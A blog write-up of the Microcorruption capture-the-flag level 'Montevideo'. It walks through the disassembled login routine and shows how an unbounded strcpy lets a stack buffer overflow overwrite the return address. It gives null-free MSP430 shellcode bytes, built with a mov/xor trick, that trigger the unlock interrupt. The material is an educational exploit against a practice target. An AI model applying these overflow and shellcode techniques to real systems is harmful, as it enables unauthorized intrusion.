blog/07-microcorruption

07 Microcorruption - Montevideo

From Canada to the capital of Uruguay, Montevideo

Manual
Lockitall                                            LOCKIT PRO r c.03
______________________________________________________________________

              User Manual: Lockitall LockIT Pro, rev c.03
______________________________________________________________________


OVERVIEW

    - Lockitall developers  have rewritten the code  to conform to the
      internal secure development process.
    - This lock is attached the the LockIT Pro HSM-2.

DETAILS

    The LockIT Pro c.03  is the first of a new series  of locks. It is
    controlled by a  MSP430 microcontroller, and is  the most advanced
    MCU-controlled lock available on the  market. The MSP430 is a very
    low-power device which allows the LockIT  Pro to run in almost any
    environment.

    The  LockIT  Pro   contains  a  Bluetooth  chip   allowing  it  to
    communiciate with the  LockIT Pro App, allowing the  LockIT Pro to
    be inaccessable from the exterior of the building.

    There  is no  default  password  on the  LockIT  Pro HSM-2.   Upon
    receiving the  LockIT Pro,  a new  password must  be set  by first
    connecting the LockitPRO HSM to  output port two, connecting it to
    the LockIT Pro App, and entering a new password when prompted, and
    then restarting the LockIT Pro using the red button on the back.

    LockIT Pro Hardware  Security Module 2 stores  the login password,
    ensuring users  can not access  the password through  other means.
    The LockIT Pro  can send the LockIT Pro HSM-2  a password, and the
    HSM will  directly send the  correct unlock message to  the LockIT
    Pro Deadbolt  if the password  is correct, otherwise no  action is
    taken.

    This is Hardware  Version C.  It contains  the Bluetooth connector
    built in, and two available  ports: the LockIT Pro Deadbolt should
    be  connected to  port  1,  and the  LockIT  Pro  HSM-2 should  be
    connected to port 2.

    This is Software Revision 03. We have received unconfirmed reports
    of issues with the previous series of locks. We have reimplemented
    much  of the  code according  to our  internal Secure  Development
    Process.


(c) 2013 LOCKITALL                                            Page 1/1

This lock also has the HSM-2, and they apparently got an internal secure development process. I wonder what that means.

Enumeration

Nothing interesting happens in the prologue, we are back at the initial stack pointer is 0x4400

Main

β•­ int main(int argc, char **argv, char **envp);
β•°           0x4438      call  #login

I am starting to see a pattern here πŸ™ƒ

Login

β•­ login();
β”‚           0x44f4      add   #0xfff0, sp

Again we calculate the stack pointer 0x4400 - 0x2 + 0xfff0 = 0x143ee, the new stack pointer is 0x43ee this again give us 16 byte stack space for login and the return address in byte 17 and 18, I guess that is no in the internal secure development process 😎

β”‚           0x44f8      mov   #0x4470, r15
β”‚           0x44fc      call  #puts
β”‚           0x4500      mov   #0x4490, r15
β”‚           0x4504      call  #puts

Two prints, we have seen this before.

β”‚           0x4508      mov   #0x0030, r14
β”‚           0x450c      mov   #0x2400, r15
β”‚           0x4510      call  #getsn

And again reading 48 bytes, but not to the stack, instead to 0x2400, so we do actually not overwrite the return address πŸ€”

β”‚           0x4514      mov   #0x2400, r14
β”‚           0x4518      mov   sp, r15
β”‚           0x451a      call  #strcpy

This is new, a function called strcpy (string copy) using the address of our password and the stack pointer.

β”‚           0x451e      mov   #0x0064, r13
β”‚           0x4522      clr   r14
β”‚           0x4524      mov   #0x2400, r15
β”‚           0x4528      call  #memset

This is also new, a memset function, with three arguments, last one being our password input.

β”‚           0x452c      mov   sp, r15
β”‚           0x452e      call  #conditional_unlock_door
β”‚           0x4532      tst   r15
β”‚       ╭─< 0x4534      jeq   $+0x0008
β”‚       β”‚   0x4536      mov   #0x44c5, r15
β”‚      ╭──< 0x453a      jmp   $+0x0006
β”‚      │╰─> 0x453c      mov   #0x44d5, r15
β”‚      ╰──> 0x4540      call  #puts

Back to some familiar code, we do a conditional_unlock_door call and prints depending on the result from conditional_unlock_door

β”‚           0x4544      add   #0x0010, sp
β•°           0x4548      ret

Lastly some stack cleanup and return.

Memset

The memset function is not too interesting, it takes three arguments

  1. How many bytes to set
  2. What value to set them to
  3. Where the bytes are

The use here will set 0x64 bytes at address 0x2400 (where our password input is written) to zero, this function just writes zeros to clear our password input from memory.

Strcpy

But before we call memset we did a call to strcpy so lets see what this function does. Keep in mind that our input is R14 = 0x2400 and R15 = sp

β•­ char *strcpy(char *dest, const char *src);
β”‚           0x45dc      mov   r15, r13
β”‚       ╭─< 0x45de      jmp   $+0x0006
β”‚      ╭──> 0x45e0      inc   r14
β”‚      β•Žβ”‚   0x45e2      inc   r13
β”‚      β•Žβ•°β”€> 0x45e4      mov.b @r14, r12
β”‚      β•Ž    0x45e6      mov.b r12, 0x0(r13)
β”‚      β•Ž    0x45ea      tst.b r12
β”‚      ╰──< 0x45ec      jnz   $-0x000c
β•°           0x45ee      ret

Through some extra steps, the code end up copying bytes from R14 to R15 so in our case from 0x2400 to SP, and this loop keeps running until a byte is zero, because the conventions is that strings end with a null byte. But we can actually still overwrite the return address with our input because this just blindly copy our input to the stack.

If we look at the byte code from the last lock

push  #0x007f               30 12 7f 00
call  #INT                  b0 12 32 45

We can see that the push instruction we want to use contains a null byte, so the strcpy function will stop copying bytes when we reach this byte. We need to figure out how to avoid the zero byte in our payload. There are a lot of ways to avoid zero bytes, so there are a lot of ways to hack this lock.

Let’s look at one way

mov  #0xff80, r15           3f 40 80 ff
xor  #0xffff, r15           3f e0 ff ff
push  r15                   0f 12
call  #INT                  b0 12 32 45

If we move the value 0xff80 into R15 and then xor it with the value 0xffff, R15 will then contain the value 0x007f, this value then is pushed to the stack, and we call the INT function.

We now have a new payload without zero bytes, we then need to pad it to 16 bytes and the address of our payload as in the previous lock.

Door unlocked

/microcorruption/